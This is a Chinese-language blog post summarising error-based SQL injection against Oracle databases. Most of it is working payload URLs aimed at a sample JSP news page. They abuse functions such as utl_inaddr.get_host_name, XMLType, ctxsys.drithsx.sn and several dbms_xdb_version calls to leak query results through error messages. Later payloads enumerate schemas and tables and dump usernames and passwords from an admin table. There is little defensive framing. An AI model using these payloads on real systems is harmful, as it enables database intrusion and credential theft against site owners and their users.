Oracle报错注入总结

Oracle报错注入总结


0x00 前言

在oracle注入时候出现了数据库报错信息,可以优先选择报错注入,使用报错的方式将查询数据的结果带出到错误页面中。

使用报错注入需要使用类似 1=[报错语句],1>[报错语句],使用比较运算符,这样的方式进行报错注入(MYSQL仅使用函数报错即可),类似mssql报错注入的方式。

判断注入

http://www.jsporcle.com/news.jsp?id=1 and (select count (*) from user_tables)>0 --
http://www.jsporcle.com/news.jsp?id=1 and (select count (*) from dual)>0 --

0x01 报错函数注入

utl_inaddr.get_host_name()进行报错注入

and 1=utl_inaddr.get_host_name((select user from dual))--
http://www.jsporcle.com/news.jsp?id=1 and 1=utl_inaddr.get_host_name((select user from dual))--

utl_inaddr.get_host_address 本意是获取ip 地址,但是如果传递参数无法得到解析就会返回一个oracle 错误并显示传递的参数。

我们传递的是一个sql 语句所以返回的就是语句执行的结果。oracle 在启动之后,把一些系统变量都放置到一些特定的视图当中,可以利用这些视图获得想要的东西。通常非常重要的信息有:

 

 

 

ctxsys.drithsx.sn()进行报错注入

http://www.jsporcle.com/news.jsp?id=1 and 1=ctxsys.drithsx.sn(1,(select user from dual)) --

 

 

 

XMLType()进行报错注入

and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null --
http://www.jsporcle.com/news.jsp?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select user from dual)%7c%7cchr(62))) from dual) is not null --

 

 

 

dbms_xdb_version.checkin()进行报错注入

and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null --
查询版本信息
http://www.jsporcle.com/news.jsp?id=1 and (select dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) from dual) is not null --

 

 

bms_xdb_version.makeversioned()进报错注入

and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null --

 

 

dbms_xdb_version.uncheckout()进行报错注入

and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null --

 

 

 

dbms_utility.sqlid_to_sqlhash()进行报错注入

and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null --

 

 

 ordsys.ord_dicom.getmappingxpath()进行报错注入

and 1=ordsys.ord_dicom.getmappingxpath((select user from dual),user,user)--

 

 

 

decode进行报错注入

这种方式更偏向布尔型注入,因为这种方式并不会通过报错把查询结果回显回来,仅是用来作为页面的表现不同的判断方法。

and 1=(select decode(substr(user,1,1),'S',(1/0),0) from dual) --

 

0x02 报错函数注入数据

Oracle 数据库的注入不同于其他数据库,如Access 和Mysql,它包含了几个系统表,这几个系统表里存储了系统数据库的表名和列名,如user_tab_columns,all_tab_columns,all_tables,user_tables 系统表就存储了用户的所有的表、列名,其中table_name 表示的是系统里的表名,column_name 里的是系统里存在的列名

爆库 第一行记录

http://www.jsporcle.com/news.jsp?id=1 and 1=utl_inaddr.get_host_name((select (SELECT DISTINCT owner FROM all_tables where rownum=1) from dual))--

爆表 第一行第一个记录

http://www.jsporcle.com/news.jsp?id=1 and 1=utl_inaddr.get_host_name((select table_name from user_tables where rownum=1)) --

第二个记录

http://www.jsporcle.com/news.jsp?id=1 and 1=utl_inaddr.get_host_name((select table_name from user_tables where rownum=1 and table_name not in ('LOGMNR_SESSION_EVOLVE$'))) --

报错admin表的 用户和密码

http://www.jsporcle.com/news.jsp?id=1 and 1=utl_inaddr.get_host_name((select (select username%7c%7cpassword from admin)from dual))--

 

 其他报错函数大同小异。

 

 

 

posted @   卿先生  阅读(10573)  评论(1编辑  收藏  举报
编辑推荐:
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
· 没有源码,如何修改代码逻辑?
阅读排行:
· 分享4款.NET开源、免费、实用的商城系统
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了
· 上周热点回顾(2.24-3.2)
点击右上角即可分享
微信分享提示